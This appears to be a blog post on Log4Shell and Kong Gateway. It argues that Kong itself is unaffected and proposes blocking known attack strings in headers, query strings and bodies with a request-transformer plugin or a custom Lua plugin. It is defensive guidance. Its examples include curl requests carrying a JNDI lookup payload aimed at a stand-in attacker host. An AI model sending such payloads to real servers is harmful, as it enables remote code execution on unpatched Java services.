Log4Shell, what?

Log4j2 shell CVE-2021-44228 has caught attention of many. If you are using Kong Gateway in your estate, you might be interested in this article.

Is Kong Gateway Vulnerable?

Simple answer is No

Why?

Kong gateway does not use Java. Hence there is no Log4J2. And there is no exploit that impacts Kong Gateway.

What About Upstream?

Simple answer it depends. The scenarios are below.

Scenario A

If any upstream services have Log4J2 implemented, they are vulnerable. And this vulnerability can be exploited.

Scenarios B

If any upstream services have Not implemented Log4J2, they are not vulnerable. And this particular exploit is not possible.

Can Kong Gateway help?

There are many options being discussed in the wild like

• Adding java start up properties
• Upgrade Log4J2
• Firewall rules blocking outbound calls specifically targeting this exploit
• etc

Here I would like to add another option to the table that Kong Gateway can offer.

Option A: Alter

Kong can alter the request of the incoming request using request Transformer Plugin.

• Request Header Attack
  • Can play with config.replace.headers and replace the attack vector sting like jndi and ldap with some non harmful string
• Request Arguments Attack
  • Can play with config.replace.querystring and replace the attack vector sting like jndi and ldap with some non harmful string
• Request Body Attack
  • Can play with config.replace.body and replace the attack vector sting like jndi and ldap with some non harmful string

For Example

Headers

You can play with config.replace.headers and replace the attack vector sting like jndi and ldap with some non harmful string.

curl 127.0.0.1:8080/anything -H 'X-Api-Version: ${jndi:ldap://attacker.com/exploit}'

And Request Transformer will replace this with something like

curl 127.0.0.1:8080/anything -H 'X-Api-Version: ${dummy:dummy://attacker.com/exploit}'

Arguments

You can play with config.replace.querystring and replace the attack vector sting like jndi and ldap with some non harmful string.

curl -X GET 127.0.0.1:8080/anything\?arg-1=\$\{jndi:ldap://attacker.com/exploit\} -i

And Request Transformer will replace this with something like

curl -X GET 127.0.0.1:8080/anything\?arg-1=\$\{dummy:dummy://attacker.com/exploit\} -i

Body

You can play with config.replace.body and replace the attack vector sting like jndi and ldap with some non harmful string.

curl -X POST -d "arg-1=\${jndi:ldap://attacker.com/exploit}" 127.0.0.1:8080/anything -i

And Request Transformer will replace this with something like

curl -X POST -d "arg-1=\${dummy:dummy://attacker.com/exploit}" 127.0.0.1:8080/anything -i

Option B: Custom Plugin

Options A has few limitations.

There are few known attack vectors in the wild that can be caught using a custom plugin.

Sample LUA code to stop these attack vectors are presented here

mitigate-log4shell.conf

Example plugin code that mitigates the header attack vector is present in kong-plugin-log4shell by brentos

What about Arguments and Body?

This plugin code can be easily extended to cover the arguments and body attacks.

Attack vectors and Kong Gateway options exposure?

This exploit is recent. And not all attack vectors are know.

The above Kong Gateway option ONLY mitigates known attack vectors.

What about new attack vectors not yet documented?

These options will not stop all attack vectors, but mitigate the above documented attack vectors.

This option provides a quick and short term option on the table, while organisations are looking at mid term options and permanent fix.

Why even look at this option?

• Time
  • Changing production upstream systems can take time
  • Applying request Transformer plugin/custom plugin block to Ingress traffic is quick to apply and rollout
• Effort
  • Upstream Production change requires significant effort to rollout
  • Applying Kong Gateway option is relatively less effort
• Risk
  • Risk of business impact of upstream change
  • Applying Kong Gateway option is relatively less risky to roll out and rollback
• Impact
  • Impact of changes to upstream production can be relatively complex
  • Impact of to change to Kong Gateway is relatively less complex
• Hidden Applications
  • There could be shadow IT services that are hidden and not patched
  • Kong Gateway change can mitigate known attack vectors on these hidden applications
• Rollout Phases
  • Not all upstream systems can be patches at the same time as a big bang and might be done in phased approach
  • Kong Gateway can mitigate known attack vectors on all Ingress via Kong Gateway

What about unknown attack vectors?

• Unknown Attack Vectors
  • Kong Gateway option presented above does not prevent unknown attack vectors. But Kong Gateway provides an option, while upstream services are being patched.
• New Attack Vectors and Plugin Update
  • Yes, Kong Plugin would need to be updated if new attack vectors are found in the interim. But that is considered relatively less effort.

Decomission Kong Plugin

Decommissioning of the Kong Plugin once Upstream has been patched is relatively simple effort.

Take Away

Kong gateway on its own has no vulnerability.

Kong gateway can provide another quick option in the short term to mitigate upstream services exposure via kong gateway against known attack vectors.